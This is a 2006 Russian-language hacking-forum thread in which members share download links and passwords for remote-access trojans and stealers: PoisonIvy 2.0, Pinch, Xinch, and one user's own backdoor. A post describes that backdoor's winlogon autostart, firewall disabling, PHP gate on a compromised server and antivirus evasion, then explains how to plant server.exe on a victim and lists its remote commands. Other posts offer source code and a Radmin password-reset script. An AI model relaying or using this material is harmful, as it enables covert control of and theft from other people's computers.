day & night

Viruses.. Do not open!, Делимся вирями...
Дата обновления: , перейти к новому сообщению
icon13
#1
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-




PoisonIvy 2.0
Меня трой порадовал smile.gif Удобный, неглючный, с форумом поддержки
. Вроде всё, качаем и наслаждаемся. (Внутри архива .pdf файлик с инструкциями)

PS:Хотелось-бы выразить благодарность в поимке лошадки в интернете парню с ником One Second wink.gif

Пароль:
SoftoRooM.NeT


Присоединённые файлы
Присоединённый файл  PoisonIvy2.0_by_SoftoRooM.NeT_and_iLLuZionist.rar ( 699.03кб ) Кол-во скачиваний: 563
User is offline
Go topGo end

Ответов(1 - 9)
icon1 2.08.2006 - 10:59
#2
Jon-dog



Грамотный
***

Группа: Пользователи
Сообщений: 235
Регистрация: 29.11.2005
Пользователь №: 76.326


Респектов: 10
-----X----


Предупреждений:


Вот немного руссифицировал чтоб кто в англ плохо, понимали как сделать ехе

_https://softoroom.org/...n-dog.rar.html
Пароль на архив: SoftoRooM.NeT
User is offline
Go topGo end
26.08.2006 - 19:43
#3
DemonRND



Unregistered














Касперский его заметил... Обидно, а так класный тойанчик))
Go topGo end
28.08.2006 - 15:08
#4
snike



Опытный юзверь
**

Группа: Пользователи
Сообщений: 96
Регистрация: 20.01.2006
Пользователь №: 111.522


Респектов: 17
-----X----


Предупреждений:


многофункциональный бэкдор под Win32-системы, работающий по
архитектуре "клиент-сервер", с помощью которого можно практически полностью контролировать
зараженную систему.

Возможности:
- Выполнять любые команды в системе через коммандный интерпретатор cmd.exe
- Работа с файловой системой через cmd.exe
- Запускать любые программы в системе
- Выводить свое сообщение
- Выключать/Перезагужать/Завершить сеанс зараженной машины
- Закрывать/Открывать CD-ROM
- Включать/Выключать монитор
- Устанавливать свои собственные обои
- Выставлять мышь на левшу/правшу
- Установка курсора в разные координаты (:
- Включать/Выключать Scroll Lock, Num Lock, Caps Lock на клавиатуре
- Прятать кнопку "ПУСК", панель со свернутыми окнами, Quick Launch, часы, трей и т.д

Фичи:
- Автозагрзука из под winlogon (Userinit).
- Вырубает встроенный Windows-файрвол (ICF/ICS и WSCSVC), который блокирует коннекты к машине
- Управление зараженной машиной через PHP-гейт. Теперь об анонимности можно беспокоиться в два раза меньше.
- Маленький размер сервера. Всего ~4,50 килобайт (паковал FSG, компилил LCC, так что возможно еще меньше).
- На момент релиза, ни один антивирус не определил троянский код.
Впариваем троян (/server/server.exe) ламеру. Затем заливаем на шелл скрипт управлением трояном (/web/gate.php).
На шелле должен быть установлен PHP и поддерживаться работа с сокетами. Узнаем IP-адрес ламера. Заходим на
скрипт:
http://shell/sbg.php?....0.1&port=5745, где 127.0.0.1 - это IP-адрес жертвы. Затем вводим команды
в одно единственное поле.

----[ 0x02: команды

команды без аргументов:

CODE
hide_panel       /     show_panel
hide_start       /     show_start
hide_rebar       /     show_rebar
hide_quicklaunch /     show_quicklaunch
hide_tasksw      /     show_tasksw
hide_trey        /     show_trey
hide_treybutton  /     show_treybutton
hide_treyicon    /     show_treyicon
hide_time        /     show_time
mouse_on         /     mouse_off
mouse_swap_on    /     mouse_swap_off
numlock_on       /     numlock_off
capslock_on      /     capslock_off
scrolllock_on    /     scrolllock_off
keyboard_on      /     keyboard_off
monitor_on       /     monitor_off
cdrom_open       /     cdrom_close
logof / power / rboot / stand / sleep
about
beep


команды c аргументами:

CODE
set_wallpaper^C:\путь\к\картинке\в\формате.BMP
cmd^комманда
messagebox^текст_сообщения^заголовок_сообщения
crazy_cdrom^кол-во_выдвигов/задвигов
crazy_mouse^частота_сдвигов(мл.сек)^кол-во_раз


Примеры ввода команд:
CODE
  monitor_off
  messagebox^Hacked by SN!KE=))^
  cmd^dir
  cmd^type C:\a.txt

Короче говоря ^ - разделитель.
_https://softoroom.org/...v0.01_beta.rar
З.Ы. При желании могу выложить исходник.
User is offline
Go topGo end
29.08.2006 - 22:16
#5
snike



Опытный юзверь
**

Группа: Пользователи
Сообщений: 96
Регистрация: 20.01.2006
Пользователь №: 111.522


Респектов: 17
-----X----


Предупреждений:


Погляди на свой "Press any key to format C:"
_https://softoroom.org/...1227999/sr.rar
Исходники...
User is offline
Go topGo end
20.09.2006 - 17:22
#6
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-




Пинч 2.58 - это итак все знают. smile.gif
Download

Ксинч - альтернатива пинчу wink.gif
https://softoroom.org/...M.NeT.rar.html

pWd: kalabok
User is offline
Go topGo end
23.09.2006 - 15:24
#7
snike



Опытный юзверь
**

Группа: Пользователи
Сообщений: 96
Регистрация: 20.01.2006
Пользователь №: 111.522


Респектов: 17
-----X----


Предупреждений:


Какая версия Ксинча?
User is offline
Go topGo end
25.09.2006 - 14:54
#8
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-




QUOTE
Какая версия Ксинча?

1.5 alfa 3 wink.gif
User is offline
Go topGo end
6.12.2006 - 5:24
#9
Jon-dog



Грамотный
***

Группа: Пользователи
Сообщений: 235
Регистрация: 29.11.2005
Пользователь №: 76.326


Респектов: 10
-----X----


Предупреждений:


Трой не трой, и троем то не назвать, и вурусом, вобщем скрипт сброса (удаления) пароля на радмин при каждой перезагрузке компа! провернено на 2.1, 22

User is offline
Go topGo end
9.12.2006 - 9:47
#10
mabden



Бывалый
*

Группа: Пользователи
Сообщений: 19
Регистрация: 15.06.2006
Пользователь №: 179.753


Респектов: 9
-----X----


Предупреждений:


Jon-dog не сможешь еще раз вылажить русик к PoisonIvy 2.0
User is offline
Go topGo end

Topic Options
Сейчас: 28.03.2024 - 19:05
Мобильная версия | Lite версия